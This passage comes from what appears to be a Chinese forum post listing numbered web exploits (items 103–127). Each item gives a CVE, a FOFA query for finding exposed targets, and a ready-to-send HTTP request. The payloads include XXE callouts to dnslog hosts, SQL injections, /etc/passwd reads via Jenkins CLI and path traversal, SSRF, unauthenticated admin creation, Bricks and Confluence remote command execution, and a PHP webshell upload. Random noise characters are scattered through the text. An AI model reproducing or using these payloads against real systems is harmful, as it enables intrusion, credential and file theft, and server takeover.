xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
9 `8 e' E% H! o# w: x& V
1 [: S) s; a: R* |% m103. Ivanti Pulse Connect Secure VPN XXE
% Q8 q- ~. ^7 Q! V2 ZCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
/ b0 v  p5 ]  Z- a0 y: e; f) APOST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
# f* L% e5 l* b0 q4 `) q8 zUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
) k3 J; B* B9 C6 SAccept-Encoding: gzip

$ H) E6 r" B1 @7 \# b( NSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

* X/ F4 |. T+ m' C
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
2 y$ f0 w% i+ d3 K( xCVE-2024-0569
, j; j: h1 J9 X# `! A7 dFOFA：title="TOTOLINK"
- M. O% o9 a0 A6 ^# {9 h, ]POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
0 U# i1 b) ~0 H% Y9 pContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
0 E( @, Y$ C+ J$ ~+ E% E% h; h) k  kReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
# t4 k, m$ z8 |0 r- gConnection:close
* E  k2 Z: _# x% Q7 @
7 }7 U! I3 W- r. {1 o  k{
  R8 v$ U4 q; M2 B5 I, J"topicurl":"getSysStatusCfg",
1 O0 o* ]. v, r9 M: I: U% E3 h"token":""
}
+ |0 q) W$ _. ^, v& b
; }$ y$ s* D, j6 s6 |105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
: U. G) k( ~# n1 V, K6 d5 W: o' I, Ghttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
7 \6 o9 D4 g  S8 F" i
) _0 `7 }5 B6 C: Q% n106. SpringBlade dict-biz/list SQL 注入
  W4 V) M: ]5 M, P/ k; `0 vFOFA：body="Saber 将不能正常工作"
. H  R, k% ~8 S3 x4 oGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ u' _0 r; [$ f: Z  t. s( rConnection: close
  h. e) Y, ?( O# ^2 M

107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
( x7 P1 c! o8 h' vGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
7 [( u6 o3 @! N+ a6 a4 k4 \Host: your-ip
2 Q* K/ A$ I( G$ ~' kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
: F1 P/ A4 A; a1 z% t7 {Connection: close

6 E% A; N; Z( p2 t
108. D-Tale 3.9.0 SSRF
1 i; W% ]# Q0 {! ]* vCVE-2024-21642
& c# a9 \3 p+ ^/ v- }" d  ZFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
; y3 x1 G2 h; fHost: your-ip
7 d% D! V; T+ O9 E. Z& g5 q* WAccept: application/json, text/plain, */*
3 f+ ^/ @$ P4 x9 }8 i. m) xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
4 h3 a% M/ L& A" m2 V' w8 o
7 F$ o0 M1 i$ @
109. Jenkins CLI 任意文件读取
- h. u- w  H9 W4 q% WCVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
: I# L. ]2 a" R/ OHost:
; d3 \% K. b5 t8 V, m& U! p0 oContent-type: application/octet-stream
1 J9 [3 y$ v% J3 \/ Q' |Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
' b  ~) j3 j/ A7 l- x8 m- B8 S4 uSide: upload
/ r. ?4 ~, _6 v) R  @2 _0 H% yConnection: keep-alive
) w2 N( Y8 ^7 X, D: xContent-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
7 p5 ~2 [9 v0 D" w

/ h" e: _- }- pPOST /cli?remoting=false HTTP/1.1
Host:
8 q, u: v* @) ]# TSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
6 E# ?5 [1 r) m: L" xContent-Type: application/x-www-form-urlencoded
" ]/ m, l2 x' G* `Content-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
3 N! j1 c, I# U, U* c' ILists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
' n% Z* s$ x; c

110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
+ X( x* l' l% K) B; y0 c! `7 U7 |GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
7 G' L$ \4 V/ L% `8 O) y9 l5 eHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
7 N9 g4 R; E! m4 l9 K% t6 c' [  AAccept: */*
Accept-Language: en
; ~0 t3 V+ [9 @0 a6 wAccept-Encoding: gzip
, P  n3 h& R7 q0 M; h" W5 b1 C0 r

111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
% s; T  C* s+ X1 E, LFOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
0 ~: M- ^4 x. s+ s- LConnection: close
Accept: */*
Accept-Language: en
2 O$ e! }1 J! d" ?+ w& QAccept-Encoding: gzip
1 l. e8 }5 ^/ q: T
' e$ X/ o' O' q  x7 }: H) i; r
- Z' J; S" Q# c112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
! S( S! ], Z- q6 _/ g% xFOFA：body="/wp-content/plugins/notificationx"
; n( [4 B& H# {% c3 k# jPOST /wp-json/notificationx/v1/analytics HTTP/1.1
- I2 Z' `' ?! z& B9 VHost: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
0 [& g% x  s6 w( W
3 `- _- b# G+ L! T. H
4 x, I  g4 Q6 P. |113. WordPress Automatic 插件任意文件下载和SSRF
# n& h! B; Z! JCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
7 P( T$ M% m. F% i+ |GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
: \5 I# v( ~$ j) v, N- bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
3 ^1 d8 s% o, J- f0 I$ D; P% PConnection: close
; C; \% w" X( O' y5 @7 z! cAccept: */*
Accept-Language: en
Accept-Encoding: gzip
1 Q4 ^+ p. J  b% @3 w0 N# p* i

  O8 o5 G5 w: Y( z$ G; ?' D114. WordPress MasterStudy LMS插件 SQL注入
# @- R3 k( x9 Q/ l- u/ eFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
% a1 y* U# o5 f; BGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
+ @, Q& _8 R6 W2 uHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
- d& i- F0 o+ {8 X7 M- qAccept-Encoding: gzip, deflate
Connection: close
( C+ p5 b7 c: x, n6 b! w: A5 g
+ a6 H, Z; [# z# }# e& p- u4 d5 T
115. WordPress Bricks Builder <= 1.9.6 RCE
1 U* F# Z- g, J# s$ _# |CVE-2024-25600
, N) s$ C2 ]2 PFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
; @' Q6 ]& I/ g" }GET / HTTP/1.1
6 ]1 I( ]/ K' D  R  XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip

6 x( h0 u+ V! m( E# A& u
第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
6 q/ T9 F! M. Q) a, k0 bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
3 {2 o+ e8 o8 `9 \8 xConnection: close
Content-Length: 356
6 q( \# I4 j8 j5 ^* [# T. yContent-Type: application/json
Accept-Encoding: gzip
- L4 Y7 H  q+ m0 w: b( A# u% h
{
"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
' @3 O. B/ R* j- O3 j# W    "settings": {
      "hasLoop": "true",
2 H! Q1 b# o: X: ?2 X      "query": {
        "useQueryEditor": true,
' T  P: H3 l% P# t! l! H: b        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
/ b) G0 U% }3 C" `/ O  I" w        "objectType": "post"
      }
( l" N2 X7 S/ l7 k+ W0 }    }
  }
}
2 R8 d/ e% R+ g
: K5 f8 b* S% H  Q0 Z% G
% v! H9 y# ~9 L* ?, g116. wordpress js-support-ticket文件上传
( o7 V& s" ]$ L  N$ g, U. G' C( j: r! |FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
' b3 U1 Z# @6 ]* x
----------767099171
# n& s1 F! ?- H- GContent-Disposition: form-data; name="action"
& s, Q; ^# }8 |- n1 @: K. Nconfiguration_saveconfiguration
----------767099171
( v, H7 p/ d/ n5 BContent-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
: ~" p0 l! r. h1 D$ J; _Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
8 M2 u$ e0 D( ~: g# A+ @: ]& l----------767099171--


117. WordPress LayerSlider插件SQL注入
- e* S( P3 u8 |* E$ i' f, f+ V! Tversion：7.9.11 – 7.10.0
" [  ?  T/ D3 b% b! H1 M! q. ]FOFA：body="/wp-content/plugins/LayerSlider/"
1 v8 f* B& z5 W3 l1 b! f  NGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
, K7 g; X2 z4 Q, ?* E  H- THost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ e3 x, m2 D$ _$ [$ GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 A  n+ k2 R0 r9 JAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
: n8 W) b9 F+ x

118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
! o! N. H' n$ aFOFA：title="Smart管理平台"
# v4 B. a. M1 j3 L, q+ gPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
  H* i4 l& T0 C1 c: SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
3 J# w$ \4 U. WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 g( r# e( D% I0 zAccept-Encoding: gzip, deflate
+ y% F, Y/ Q: _; E4 h) n$ U, rContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
$ F+ @: y. l. ^4 m3 U/ hOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
4 d3 W0 ~1 G/ {; n7 N: HUpgrade-Insecure-Requests: 1
/ P& m; i# m% [( q0 cSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
, C1 `+ j3 ^1 b/ X# s1 {  WSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
0 L! F/ L1 M  }2 N0 }Te: trailers
. p  |/ P8 }) ?8 y% Q* dConnection: close

+ \- U4 n7 S5 ?$ M4 r-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
+ o8 B6 ^5 ~8 b- d- TContent-Type: application/octet-stream

1 _1 m9 ~0 J, A9 M' u! e% j<?php
system($_POST["passwd"]);
& t# v! v' R: Q4 W# \: p7 S4 X0 ?/ R?>
7 U7 l: Q" J+ N, D0 ?  c0 o0 a  U-----------------------------13979701222747646634037182887
6 U: g1 p! a6 }' P# ^1 CContent-Disposition: form-data; name="txt_path"

" e$ N  I# Q7 S- E0 S: \9 H/home/src.php
-----------------------------13979701222747646634037182887--


$ ?, M% t: @: T/ ^& U访问/home/src.php
5 [+ S7 {6 W& s# }# a4 k# {
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
# o5 y7 V+ ]/ x1 y4 L( XPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
7 u$ r( i/ |; qCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
5 w' @- s! h4 P; E1 q, mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
: E, ~# H" F: IContent-Length: 109
8 q. F! D) Y& Z, Y4 ]Origin: https://58.18.133.60:8443
: `8 ~, E, Y/ j$ f8 C- F( WReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
' Y+ ^: C( z; tSec-Fetch-Dest: empty
% A0 {9 N! W1 j8 tSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
# T6 h, |, F; |" H8 i# G/ w% ~X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
# }9 y  `# ?4 O" J. \1 hX-Remote-Ip: 1.1.1.1
' y8 N- h* G0 {4 e. M9 QX-Remote-Addr: 1.1.1.1
Te: trailers
) x7 z5 Z: n$ k! d& aConnection: close
2 W7 Q2 {6 |. e( A* N
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
9 A, n! \- A* [

' s2 t: F+ [7 O1 w* I3 o120. 北京百绰智能S40管理平台导入web.php任意文件上传
% l) B- w( y$ n) {( n; A: J1 p' @! T6 rCVE-2024-1253
8 K! _3 Y7 L' l' L( Z. r9 nFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
5 f9 m; L1 v& z$ r: bHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
0 k$ J3 l$ p% V# f1 `& ~User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
, i, R# Z# M" f+ ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
* q5 e1 j' @+ e( U1 }3 V) DContent-Length: 597
Origin: https://ip:port
5 ~/ [' C. {4 S! xReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
2 q# k, ]% C! m/ ESec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
2 T. ]4 o' J. g! s4 {Te: trailers
! G/ s9 M, z6 yConnection: close

9 F" s9 l& w8 f: l! G-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

<?php phpinfo()?>
-----------------------------42328904123665875270630079328
0 e/ M" g: ]7 MContent-Disposition: form-data; name="id_type"

. @! l" h1 T$ ]- \9 [1
-----------------------------42328904123665875270630079328
8 o9 R* B9 F3 Q( ~7 V8 w5 y. |Content-Disposition: form-data; name="1_ck"
, v- [3 e4 ?( x& I0 ~0 `
& ~' C; ^  x. X  @/ F1_radhttp
-----------------------------42328904123665875270630079328
+ Y) J4 r$ a: `0 M0 I7 [Content-Disposition: form-data; name="mode"

import
9 {! P  f* K9 t-----------------------------42328904123665875270630079328
6 l& J* l1 T3 b( v  H# v

文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
0 t; w" O. L' ~( @1 o( iCVE-2024-1918
* l8 ~1 C; e; [! N2 ^( f: j; \FOFA：title="Smart管理平台"
( `. X5 w+ Y8 H# Z9 d- gPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
% M9 a  W* @& n7 p5 mCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
( o/ d- ?  T3 A& s+ HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 m8 ~9 j' K8 m# p# k& o8 \6 yAccept-Encoding: gzip, deflate
! \4 x! H- h) }. [6 G8 `/ I3 Z/ BContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
  ^" q0 b" T( nOrigin: https://192.168.40.130:8443
1 l) A' i# H, G( a) r+ E6 QUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
# G1 q1 K" f% i7 i% }Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
/ ~; J5 J, V7 v; ESec-Fetch-User: ?1
' b  l, j, J( v. w# ^Te: trailers
Connection: close
, b, J6 Q6 U3 q, ?& S2 V1 H, I
, Y- N0 ^2 u& R2 M! B-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
# i4 S, A" ~9 H5 W+ C2 e
' Q3 D9 M& a; v5 L) u3 G+ h<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
# O6 `# F1 ?/ U6 ^2 O' o2 }1 y: x
1
9 V$ u3 k7 }" a-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
+ r. m" ~4 H5 @8 v( h7 @0 a
1_radhttp
-----------------------------42328904123665875270630079328
, K( ~" R5 W$ g6 x$ s# n; Q6 b1 XContent-Disposition: form-data; name="hidwel"
& J4 v+ {) e6 T6 u. n0 J4 D( z. m
set
% r4 e1 l- h3 K! \% V-----------------------------42328904123665875270630079328


* F- z( }% [2 tboot/web/upload/weblogo/1.php
( k& d2 t5 d- H% C9 `+ w1 _
/ @7 I8 y4 p! G- i" S& c, ~122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
/ E8 ?- u0 P3 W* |) CGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
. d0 ^6 c: F# P8 bHost: x.x.x.x
' T+ l5 @0 L8 V( l) `: cCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
4 E$ z( }5 `# V: ?9 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 X& q- q; |4 W/ [Accept-Encoding: gzip, deflate, br
# l8 ^) R( w( t1 D. y, dUpgrade-Insecure-Requests: 1
3 M6 V4 K' k$ l! t8 @& v- k/ b! kSec-Fetch-Dest: document
: {# l( \. m4 t* b6 pSec-Fetch-Mode: navigate
! m& d- j  O* R- k* q; \Sec-Fetch-Site: none
9 e  |! {4 F& h5 TSec-Fetch-User: ?1
' P9 a% F/ J  I4 v1 @6 S' pTe: trailers
Connection: close
" g! F/ m; x* x/ @0 P; p# P  R

5 O( A3 }! b# c! l123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
; ^* l4 g, R0 w: Z+ tHost: localhost:8090
  s, V8 _: R  q7 u) R; [. p! VAccept-Encoding: gzip, deflate, br
8 _+ d+ ^% h) y% }, B# ]' w. ^Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
8 d3 ?7 h, {* U* W5 @9 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
/ i* d0 w7 j9 W) C6 `4 `Content-Type: application/x-www-form-urlencoded
0 H- U, b. w4 l9 r
: a: C2 |- A4 nlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

# h- G7 y5 l1 s# M4 k
124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
0 j: z7 _6 u' X- WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
* Y! D! L* ]4 H& n& t) f- z# F/ mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
" f$ m" i; F8 ^3 \8 f
1 h- K6 l6 U9 |, ~; yfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
$ m! \, L& ^1 {4 Y+ JCVE-2024-1709
3 @2 c- {2 a! ]2 R) d& sFOFA：icon_hash="-82958153"
6 A/ T8 @6 f5 ^% u6 t) A8 u( C4 |https://github.com/watchtowrlabs ... bypass-add-user-poc
# O8 v; s5 y' M% x

使用方法
7 K/ }" n+ x. v1 Rpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
, F$ }; Z0 l$ b
) D. H  N8 X# o& a( d
* Q! ~& X6 v6 y8 k1 s- y( R( d- q创建好用户后直接登录后台，可以执行系统命令。
" h. P! j) c7 h. x5 Y7 t2 X
! V4 T1 Q% q6 w4 Z126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
# p& N: e6 J. H+ M' X1 {# UHost: x.x.x.x
8 d, L* K, i% P0 Y3 o2 _+ G9 SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
! s1 r$ Y6 q" t4 w, UAccept: */*
( x2 P* F8 l+ lAccept-Language: en
Accept-Encoding: gzip

% s1 k3 {! w5 y* R& ]
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
, t- V9 \2 N3 C1 h$ X+ _% b4 K3 q2 vPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
* p6 _8 q0 j& t/ }8 q  G$ qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 y2 B' p* h; V$ l1 y$ iAccept-Encoding: gzip, deflate
) U* @) r( q: x+ TAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
8 i% V- t* e' f5 R+ z& pSec-Purpose: prefetch;prerender

$ @) T, v6 @7 M7 L------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

/ W! i4 L6 ^6 W4 g3 o! _BIM
' W" X" _1 L% _7 Y7 p# S------WebKitFormBoundaryJGgV5l5ta05yAIe0
. g' p) l& r1 B) k' b* [Content-Disposition: form-data;name="Params"
2 x" g8 V1 x- p/ B& X& JContent-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
5 C7 ?) W( f; {. q<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
/ i1 z- l$ M" p9 I, [% r]
>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--

